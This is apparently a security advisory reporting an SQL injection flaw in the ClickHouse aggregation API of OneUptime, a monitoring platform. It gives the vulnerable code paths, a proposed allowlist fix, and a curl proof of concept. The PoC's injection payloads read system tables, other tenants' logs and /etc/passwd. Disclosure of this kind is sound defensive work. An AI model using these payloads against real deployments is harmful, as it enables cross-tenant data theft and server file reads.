+ "details": "### Summary\n\nThe telemetry aggregation API accepts user-controlled `aggregationType`, `aggregateColumnName`, and `aggregationTimestampColumnName` parameters and interpolates them directly into ClickHouse SQL queries via the `.append()` method (documented as \"trusted SQL\"). There is no allowlist, no parameterized query binding, and no input validation. An authenticated user can inject arbitrary SQL into ClickHouse, enabling full database read (including telemetry data from all tenants), data modification, and potential remote code execution via ClickHouse table functions.\n\n### Details\n\n**Entry Point — `Common/Server/API/BaseAnalyticsAPI.ts:88-98, 292-296`:**\n\nThe `POST /{modelName}/aggregate` route deserializes `aggregateBy` directly from the request body:\n\n```typescript\n// BaseAnalyticsAPI.ts:292-296\nconst aggregateBy: AggregateBy<TBaseModel> = JSONFunctions.deserialize(\n req.body[\"aggregateBy\"]\n) as AggregateBy<TBaseModel>;\n```\n\nNo schema validation is applied to `aggregateBy`. The object flows directly to the database service.\n\n**No Validation — `Common/Server/Services/AnalyticsDatabaseService.ts:276-278`:**\n\n```typescript\n// AnalyticsDatabaseService.ts:276-278\nif (aggregateBy.aggregationType) {\n // Only truthiness check — no allowlist\n}\n```\n\nThe `aggregationType` field is only checked for existence, never validated against an allowed set of values (e.g., `AVG`, `SUM`, `COUNT`).\n\n**Raw SQL Injection — `Common/Server/Utils/AnalyticsDatabase/StatementGenerator.ts:527`:**\n\n```typescript\n// StatementGenerator.ts:527\nstatement.append(\n `${aggregationType}(${aggregateColumnName}) as aggregationResult`\n);\n```\n\nThe `.append()` method on `Statement` (at `Statement.ts:149-151`) is documented as accepting **trusted SQL** and performs raw string concatenation:\n\n```typescript\n// Statement.ts:149-151\npublic append(text: string): Statement {\n this.query += text; // Raw concatenation — \"trusted SQL\"\n return this;\n}\n```\n\nSimilarly, `aggregationTimestampColumnName` is injected into GROUP BY clauses at `AnalyticsDatabaseService.ts:604-606`:\n\n```typescript\nstatement.append(\n `toStartOfInterval(${aggregationTimestampColumnName}, ...)`\n);\n```\n\n**Attack flow:**\n1. Authenticated user sends `POST /api/log/aggregate` (or `/api/span/aggregate`, `/api/metric/aggregate`)\n2. Request body contains `aggregateBy.aggregationType` set to a SQL injection payload\n3. Payload passes truthiness check at line 276\n4. Payload is concatenated into SQL via `.append()` at line 527\n5. ClickHouse executes the injected SQL\n\n### PoC\n\n```bash\n# Step 1: Authenticate and get session token\nTOKEN=$(curl -s -X POST 'https://TARGET/identity/login' \\\n -H 'Content-Type: application/json' \\\n -d '{\"email\":\"user@example.com\",\"password\":\"password123\"}' \\\n | jq -r '.token')\n\n# Step 2: Extract data from ClickHouse system tables via UNION injection\ncurl -s -X POST 'https://TARGET/api/log/aggregate' \\\n -H \"Authorization: Bearer $TOKEN\" \\\n -H 'Content-Type: application/json' \\\n -H 'tenantid: PROJECT_ID' \\\n -d '{\n \"aggregateBy\": {\n \"aggregationType\": \"COUNT) as aggregationResult FROM system.one UNION ALL SELECT name FROM system.tables WHERE database = '\\''oneuptime'\\'' --\",\n \"aggregateColumnName\": \"serviceId\",\n \"aggregationTimestampColumnName\": \"createdAt\"\n },\n \"query\": {}\n }'\n\n# Step 3: Read telemetry data across all tenants\ncurl -s -X POST 'https://TARGET/api/log/aggregate' \\\n -H \"Authorization: Bearer $TOKEN\" \\\n -H 'Content-Type: application/json' \\\n -H 'tenantid: PROJECT_ID' \\\n -d '{\n \"aggregateBy\": {\n \"aggregationType\": \"COUNT) as aggregationResult FROM system.one UNION ALL SELECT body FROM Log LIMIT 100 --\",\n \"aggregateColumnName\": \"serviceId\",\n \"aggregationTimestampColumnName\": \"createdAt\"\n },\n \"query\": {}\n }'\n\n# Step 4: Read files via ClickHouse table functions (if enabled)\ncurl -s -X POST 'https://TARGET/api/log/aggregate' \\\n -H \"Authorization: Bearer $TOKEN\" \\\n -H 'Content-Type: application/json' \\\n -H 'tenantid: PROJECT_ID' \\\n -d '{\n \"aggregateBy\": {\n \"aggregationType\": \"COUNT) as aggregationResult FROM system.one UNION ALL SELECT * FROM file('\\''/etc/passwd'\\'') --\",\n \"aggregateColumnName\": \"serviceId\",\n \"aggregationTimestampColumnName\": \"createdAt\"\n },\n \"query\": {}\n }'\n```\n\n```bash\n# Verify the vulnerability in source code:\n\n# 1. No allowlist for aggregationType:\ngrep -n 'aggregationType' Common/Server/Services/AnalyticsDatabaseService.ts | head -5\n# Line 276: if (aggregateBy.aggregationType) { — truthiness only\n\n# 2. Raw SQL concatenation:\ngrep -n 'aggregationType.*aggregateColumnName' Common/Server/Utils/AnalyticsDatabase/StatementGenerator.ts\n# Line 527: `${aggregationType}(${aggregateColumnName}) as aggregationResult`\n\n# 3. .append() is raw concatenation:\ngrep -A3 'public append' Common/Server/Utils/AnalyticsDatabase/Statement.ts\n# this.query += text; — \"trusted SQL\"\n\n# 4. No validation at API layer:\ngrep -A5 'aggregateBy' Common/Server/API/BaseAnalyticsAPI.ts | grep -c 'validate\\|sanitize\\|allowlist'\n# 0\n```\n\n### Impact\n\n**Full ClickHouse database compromise.** An authenticated user (any role) can:\n\n1. **Cross-tenant data theft** — Read telemetry data (logs, traces, metrics, exceptions) from ALL tenants/projects in the ClickHouse database, not just their own\n2. **Data manipulation** — INSERT/ALTER/DROP tables in ClickHouse, destroying telemetry data for all users\n3. **Server-side file read** — Via ClickHouse's `file()` table function (if not explicitly disabled), read arbitrary files from the ClickHouse container filesystem\n4. **Remote code execution** — Via ClickHouse's `url()` table function, make HTTP requests from the server (SSRF), or via `executable()` table function, execute OS commands\n5. **Credential theft** — ClickHouse default configuration (`default` user, password from env) could be leveraged to connect directly\n\nThe vulnerability requires only basic authentication (any registered user), making it exploitable at scale.\n\n### Proposed Fix\n\n```typescript\n// 1. Add an allowlist for aggregationType in AnalyticsDatabaseService.ts:\nconst ALLOWED_AGGREGATION_TYPES = ['AVG', 'SUM', 'COUNT', 'MIN', 'MAX', 'UNIQ'];\n\nif (!ALLOWED_AGGREGATION_TYPES.includes(aggregateBy.aggregationType.toUpperCase())) {\n throw new BadRequestException(\n `Invalid aggregationType: ${aggregateBy.aggregationType}. ` +\n `Allowed: ${ALLOWED_AGGREGATION_TYPES.join(', ')}`\n );\n}\n\n// 2. Validate aggregateColumnName against the model's known columns:\nconst modelColumns = model.getColumnNames(); // or similar accessor\nif (!modelColumns.includes(aggregateBy.aggregateColumnName)) {\n throw new BadRequestException(\n `Invalid column: ${aggregateBy.aggregateColumnName}`\n );\n}\n\n// 3. Same for aggregationTimestampColumnName:\nif (aggregateBy.aggregationTimestampColumnName &&\n !modelColumns.includes(aggregateBy.aggregationTimestampColumnName)) {\n throw new BadRequestException(\n `Invalid timestamp column: ${aggregateBy.aggregationTimestampColumnName}`\n );\n}\n\n// 4. Use parameterized queries where possible:\nstatement.append(`{aggregationType:Identifier}({columnName:Identifier}) as aggregationResult`);\nstatement.addParameter('aggregationType', aggregateBy.aggregationType);\nstatement.addParameter('columnName', aggregateBy.aggregateColumnName);\n```",
0 commit comments